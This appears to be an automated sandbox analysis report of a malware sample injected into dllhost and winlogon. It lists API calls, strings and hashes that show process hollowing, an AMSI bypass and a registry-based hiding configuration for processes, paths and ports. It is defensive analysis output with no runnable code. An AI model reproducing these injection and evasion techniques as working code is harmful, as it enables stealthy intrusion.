Instruction ID: 466ff6e6ce30b805044d1f2dc35dca8baccd3c328fc793c3ea1e6e53ebee4899
Opcode Fuzzy Hash: 79b4bc089e26725b3875790e3276540c07806726462858758fa47b4ded48d988
Instruction Fuzzy Hash: 15A002F0F2258083EB0AB7B7B85A3DD25B1ABAC781F100416B2024B2B3DE3C48954759

Non-executed Functions

Function 0000000140002434 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 317
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 000000014000252A
VirtualAllocEx.KERNEL32 ref: 0000000140002581
WriteProcessMemory.KERNEL32 ref: 00000001400025A9
VirtualProtectEx.KERNEL32 ref: 00000001400025D4
WriteProcessMemory.KERNEL32 ref: 0000000140002613
VirtualProtectEx.KERNEL32 ref: 000000014000265D
VirtualAlloc.KERNEL32 ref: 0000000140002693
GetThreadContext.KERNEL32 ref: 00000001400026B6
WriteProcessMemory.KERNEL32 ref: 00000001400026E1
SetThreadContext.KERNEL32 ref: 0000000140002704
ResumeThread.KERNEL32 ref: 0000000140002717
VirtualAllocEx.KERNEL32 ref: 0000000140002759
WriteProcessMemory.KERNEL32 ref: 0000000140002781
VirtualProtectEx.KERNEL32 ref: 00000001400027AB
WriteProcessMemory.KERNEL32 ref: 00000001400027EA
VirtualProtectEx.KERNEL32 ref: 0000000140002834
VirtualAlloc.KERNEL32 ref: 0000000140002869
Wow64GetThreadContext.KERNEL32 ref: 0000000140002887
WriteProcessMemory.KERNEL32 ref: 00000001400028AC
Wow64SetThreadContext.KERNEL32 ref: 00000001400028CA
OpenProcess.KERNEL32 ref: 00000001400028E6
TerminateProcess.KERNEL32 ref: 00000001400028F6

Part of subcall function 00000001400020CC: GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020DC
Part of subcall function 00000001400020CC: GetProcAddress.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020EF

Strings

NtUnmapViewOfSection, xrefs: 000000014000253C
@, xrefs: 0000000140002751
h, xrefs: 00000001400024EE
RtlGetVersion, xrefs: 000000014000249B

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Virtual$MemoryWrite$Thread$AllocContextProtect$Wow64$AddressCreateHandleModuleOpenProcResumeTerminate
String ID: @$NtUnmapViewOfSection$RtlGetVersion$h
API String ID: 1036100660-1371749706
Opcode ID: 062723520bc959b99614c26b60837a5fa848bce833f489094e5110284047cdb9
Instruction ID: fe181f3da7762b1cf8407140d3e190fa013b7b60483d6e0a4c0671c43d788581
Opcode Fuzzy Hash: 062723520bc959b99614c26b60837a5fa848bce833f489094e5110284047cdb9
Instruction Fuzzy Hash: ACD16FB270568187EB65CF63F84479AB7A0F788BC4F044025EB8A47BA4DF78D599CB04

Function 0000000140001274 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 136
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
GetProcessHeap.KERNEL32 ref: 00000001400012DF
HeapAlloc.KERNEL32 ref: 00000001400012F0
RegEnumValueW.ADVAPI32 ref: 000000014000134F
StrCmpIW.SHLWAPI ref: 0000000140001388
StrCmpW.SHLWAPI ref: 0000000140001390
GetProcessHeap.KERNEL32 ref: 00000001400013C7
HeapAlloc.KERNEL32 ref: 00000001400013D5
GetProcessHeap.KERNEL32 ref: 00000001400013F2
HeapFree.KERNEL32 ref: 0000000140001400
lstrlenW.KERNEL32 ref: 0000000140001409
GetProcessHeap.KERNEL32 ref: 0000000140001417
HeapAlloc.KERNEL32 ref: 0000000140001425
StrCpyW.SHLWAPI ref: 0000000140001447
GetProcessHeap.KERNEL32 ref: 000000014000145E
HeapFree.KERNEL32 ref: 000000014000146C

Strings

d, xrefs: 0000000140001312

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction ID: cbe0a9e96035c6652df35f1bebe582e7c0167c489293dce8c24ece8bd57d0938
Opcode Fuzzy Hash: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction Fuzzy Hash: C35128B2604B8486EB56DF62F4483AA77A1F78CBD5F444124EB4A07B79DF38C555C700

Function 000000014000217C Relevance: 13.6, APIs: 9, Instructions: 100memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0000000140002192
SysAllocString.OLEAUT32 ref: 00000001400021A2
CoInitializeEx.OLE32 ref: 00000001400021AF
CoInitializeSecurity.OLE32 ref: 00000001400021E6
CoCreateInstance.OLE32 ref: 0000000140002226
VariantInit.OLEAUT32 ref: 0000000140002238
CoUninitialize.OLE32 ref: 00000001400022D2
SysFreeString.OLEAUT32 ref: 00000001400022DB
SysFreeString.OLEAUT32 ref: 00000001400022E4

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 84ff88ccb10f49b49e4af97301c9a9495f723d3e4f2f51ef83b7847e1ee965a3
Instruction ID: 0e6833bd3eeca7de3220de005558475a35c56d9be5ad7e086776b2a4e8a7938b
Opcode Fuzzy Hash: 84ff88ccb10f49b49e4af97301c9a9495f723d3e4f2f51ef83b7847e1ee965a3
Instruction Fuzzy Hash: 894147B2700A859AE711CF6AE8843DD73B1FB89B89F445225FF0A43A69DF38C159C304

Function 000000014000151C Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001527
HeapAlloc.KERNEL32 ref: 0000000140001536

Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001226
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001235
Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 000000014000124F
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001260

Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001006
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001015
Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001028
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001037

RegOpenKeyExW.ADVAPI32 ref: 00000001400015A6
RegOpenKeyExW.ADVAPI32 ref: 00000001400015D3
RegCloseKey.ADVAPI32 ref: 00000001400015ED
RegOpenKeyExW.ADVAPI32 ref: 000000014000160D
RegCloseKey.ADVAPI32 ref: 0000000140001628
RegOpenKeyExW.ADVAPI32 ref: 0000000140001648
RegCloseKey.ADVAPI32 ref: 0000000140001663
RegOpenKeyExW.ADVAPI32 ref: 0000000140001683
RegCloseKey.ADVAPI32 ref: 000000014000169E
RegOpenKeyExW.ADVAPI32 ref: 00000001400016BE
RegCloseKey.ADVAPI32 ref: 00000001400016D9
RegOpenKeyExW.ADVAPI32 ref: 00000001400016F9
RegCloseKey.ADVAPI32 ref: 0000000140001714
RegOpenKeyExW.ADVAPI32 ref: 0000000140001734
RegCloseKey.ADVAPI32 ref: 000000014000174F
RegOpenKeyExW.ADVAPI32 ref: 000000014000176F
RegCloseKey.ADVAPI32 ref: 000000014000178A
RegCloseKey.ADVAPI32 ref: 0000000140001794

Part of subcall function 0000000140001274: RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400012DF
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400012F0
Part of subcall function 0000000140001274: RegEnumValueW.ADVAPI32 ref: 000000014000134F
Part of subcall function 0000000140001274: StrCmpIW.SHLWAPI ref: 0000000140001388
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013C7
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400013D5
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013F2
Part of subcall function 0000000140001274: HeapFree.KERNEL32 ref: 0000000140001400

Strings

startup, xrefs: 00000001400015C9
service_names, xrefs: 00000001400016B7
tcp_remote, xrefs: 000000014000172D
SOFTWARE\$nya-config, xrefs: 0000000140001586
udp, xrefs: 0000000140001768
pid, xrefs: 0000000140001606
process_names, xrefs: 0000000140001641
tcp_local, xrefs: 00000001400016F2
paths, xrefs: 000000014000167C

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValue
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 3993315683-3572789727
Opcode ID: 160cb157803c8d75397eda194766d4b99425b2e4efbbed3557b40dfd9c0fc54d
Instruction ID: 5ebcb72c0a3035c4b67d8f00751cefd31434bbf5df89411654f5c91112f76ea3
Opcode Fuzzy Hash: 160cb157803c8d75397eda194766d4b99425b2e4efbbed3557b40dfd9c0fc54d
Instruction Fuzzy Hash: 0171D3B6310A5086EB22EF66F8507D923A4FB88BC8F016125FB4D97A7ADE38C554C744

Function 000000014000104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400010B1
RegEnumValueW.ADVAPI32 ref: 0000000140001117
GetProcessHeap.KERNEL32 ref: 000000014000115A
HeapAlloc.KERNEL32 ref: 0000000140001168
GetProcessHeap.KERNEL32 ref: 0000000140001185
HeapFree.KERNEL32 ref: 0000000140001193

Strings

d, xrefs: 00000001400010D6

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction ID: 42b997484051ce9e6daf6bc3104cf1544be02307d9272190f1dec121864cc25c
Opcode Fuzzy Hash: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction Fuzzy Hash: E1412AB2214B84C6E765CF62F4447DA77A1F388B98F448129EB8907B68DF38C589CB40

Function 00000001400017A8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00000001400017DC
RegDeleteKeyW.ADVAPI32 ref: 00000001400017ED
RegEnumKeyExW.ADVAPI32 ref: 000000014000182A
RegCloseKey.ADVAPI32 ref: 000000014000183B
RegDeleteKeyExW.ADVAPI32 ref: 0000000140001858

Strings

SOFTWARE\$nya-config, xrefs: 00000001400017CE, 0000000140001844

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\$nya-config
API String ID: 3013565938-2636501262
Opcode ID: 5400bf53effbf6b262c010f5037711af52f170679b47dd7329b1738abdbb04b9
Instruction ID: 8421849941bfc07d5c6a41991bb422c7bbd6d954f4ecfba192073c561d1589c4
Opcode Fuzzy Hash: 5400bf53effbf6b262c010f5037711af52f170679b47dd7329b1738abdbb04b9
Instruction Fuzzy Hash: 301186B2614A8485E761CF26F8447D923B4F78C7D8F405205E75D0BAA9DF7CC258CB19

Function 000000014000148C Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400014B2
HeapFree.KERNEL32 ref: 00000001400014C1
GetProcessHeap.KERNEL32 ref: 00000001400014CE
HeapFree.KERNEL32 ref: 00000001400014DD
GetProcessHeap.KERNEL32 ref: 00000001400014ED

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 80d9ba640633e664d37536508cc0a4a26b735903ebb0d8b8d4ae8ea91fecf4e1
Instruction ID: ae713076178dcd36b59d2bede7e3524c8608a398496d325058d9822cf47af1f0
Opcode Fuzzy Hash: 80d9ba640633e664d37536508cc0a4a26b735903ebb0d8b8d4ae8ea91fecf4e1
Instruction Fuzzy Hash: D80102B2610A908AE705EF67B90438977A1F78CFC5F4A4025FB9953739DE38D491C744

Function 00000001400020CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020DC
GetProcAddress.KERNEL32(?,?,00000000,0000000140002C18), ref: 00000001400020EF

Strings

ntdll.dll, xrefs: 00000001400020D2

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 0017c025cb5e8a7c9b0335d05a9c08c4f9d8e31f703f37c02c29db0b138d9ce4
Instruction ID: 17fa8e42c722db624f1936625922d1a8ab69534039b48c71a9bb0a293c881c2b
Opcode Fuzzy Hash: 0017c025cb5e8a7c9b0335d05a9c08c4f9d8e31f703f37c02c29db0b138d9ce4
Instruction Fuzzy Hash: CAD0C9F8B1260182EF1AEB6778553E152515B6DBC9F4940209F0647772DE38C0E48318

Function 0000000140001220 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001226
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001235
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 000000014000124F
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001260

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction ID: 1511527892a3fb8eded8389ff9e17f75ca8e9e74a60c21ae91e61c536c9c2234
Opcode Fuzzy Hash: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction Fuzzy Hash: 39E039F170160086E705DB63E80438936E1EB8CB81F858024DA1907371DF7D84D98750

Function 0000000140001000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001006
HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001015
GetProcessHeap.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001028
HeapAlloc.KERNEL32(?,?,00000000,000000014000154C), ref: 0000000140001037

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction ID: 4369636dfc19c6b46be3dddb2077bf5e2e0bd1da0e3c66b1f75a47794e7da392
Opcode Fuzzy Hash: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction Fuzzy Hash: 78E0E5F1751A0086E70ADB63E80439976E1FB8CB91F898024EA1907731EE3884D98A24

Analysis Process: winlogon.exePID: 556, Parent PID: 7680COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.7%
Total number of Nodes:	111
Total number of Limit Nodes:	17

Executed Functions

Function 000001CA7D1E2C80 Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D1E2CAD
TlsGetValue.KERNEL32 ref: 000001CA7D1E2CBC
TlsGetValue.KERNEL32 ref: 000001CA7D1E2CCB
NtEnumerateValueKey.NTDLL ref: 000001CA7D1E2D40
NtEnumerateValueKey.NTDLL ref: 000001CA7D1E2D76
NtEnumerateValueKey.NTDLL ref: 000001CA7D1E2DB3
TlsSetValue.KERNEL32 ref: 000001CA7D1E2E0F
TlsSetValue.KERNEL32 ref: 000001CA7D1E2E1E
TlsSetValue.KERNEL32 ref: 000001CA7D1E2E2D

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Value$Enumerate
String ID:
API String ID: 3520290360-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: ddcfc76e88451ae92f4f9cda427641abdeb8210533d5a923a24e23578d1e4606
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: BF51C333B4570487F326CB15E460E9AB3A4FB84B89F904119AE4A43754EF3AC905CB83

Function 000001CA7D1E1E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001CA7D1E1E47
GetProcAddress.KERNEL32 ref: 000001CA7D1E1E57
SleepEx.KERNELBASE ref: 000001CA7D1E1E67

Strings

AmsiScanBuffer, xrefs: 000001CA7D1E1E50
amsi.dll, xrefs: 000001CA7D1E1E40

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 3f2b23ccba4f01efca1837d1ec0e5ebe98186c814f68ab41dbead1d3c470ee30
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: FFD06272ED3708D5F90B6B51E8A4FD43262BF54B09FC50855C50E01264DE2EC659D3D3

Function 000001CA7D1E1724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E172F
HeapAlloc.KERNEL32 ref: 000001CA7D1E173E

Part of subcall function 000001CA7D1E1264: GetProcessHeap.KERNEL32 ref: 000001CA7D1E126A
Part of subcall function 000001CA7D1E1264: HeapAlloc.KERNEL32 ref: 000001CA7D1E1279
Part of subcall function 000001CA7D1E1264: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1293
Part of subcall function 000001CA7D1E1264: HeapAlloc.KERNEL32 ref: 000001CA7D1E12A4

Part of subcall function 000001CA7D1E1000: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1006
Part of subcall function 000001CA7D1E1000: HeapAlloc.KERNEL32 ref: 000001CA7D1E1015
Part of subcall function 000001CA7D1E1000: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1028
Part of subcall function 000001CA7D1E1000: HeapAlloc.KERNEL32 ref: 000001CA7D1E1037

RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E17AE
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E17DB
RegCloseKey.ADVAPI32 ref: 000001CA7D1E17F5
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1815
RegCloseKey.KERNELBASE ref: 000001CA7D1E1830
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1850
RegCloseKey.ADVAPI32 ref: 000001CA7D1E186B
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E188B
RegCloseKey.ADVAPI32 ref: 000001CA7D1E18A6
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E18C6
RegCloseKey.ADVAPI32 ref: 000001CA7D1E18E1
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1901
RegCloseKey.ADVAPI32 ref: 000001CA7D1E191C
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E193C
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1957
RegOpenKeyExW.KERNELBASE ref: 000001CA7D1E1977
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1992
RegCloseKey.KERNELBASE ref: 000001CA7D1E199C

Part of subcall function 000001CA7D1E12B8: RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E1315
Part of subcall function 000001CA7D1E12B8: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1323
Part of subcall function 000001CA7D1E12B8: HeapAlloc.KERNEL32 ref: 000001CA7D1E1334
Part of subcall function 000001CA7D1E12B8: RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1393
Part of subcall function 000001CA7D1E12B8: GetProcessHeap.KERNEL32 ref: 000001CA7D1E13DB
Part of subcall function 000001CA7D1E12B8: HeapAlloc.KERNEL32 ref: 000001CA7D1E13E9
Part of subcall function 000001CA7D1E12B8: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1406
Part of subcall function 000001CA7D1E12B8: HeapFree.KERNEL32 ref: 000001CA7D1E1414
Part of subcall function 000001CA7D1E12B8: lstrlenW.KERNEL32 ref: 000001CA7D1E141D
Part of subcall function 000001CA7D1E12B8: GetProcessHeap.KERNEL32 ref: 000001CA7D1E142B
Part of subcall function 000001CA7D1E12B8: HeapAlloc.KERNEL32 ref: 000001CA7D1E1439

Strings

tcp_local, xrefs: 000001CA7D1E18FA
process_names, xrefs: 000001CA7D1E1849
tcp_remote, xrefs: 000001CA7D1E1935
pid, xrefs: 000001CA7D1E180E
SOFTWARE\$nya-config, xrefs: 000001CA7D1E178E
startup, xrefs: 000001CA7D1E17D1
paths, xrefs: 000001CA7D1E1884
service_names, xrefs: 000001CA7D1E18BF
udp, xrefs: 000001CA7D1E1970

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
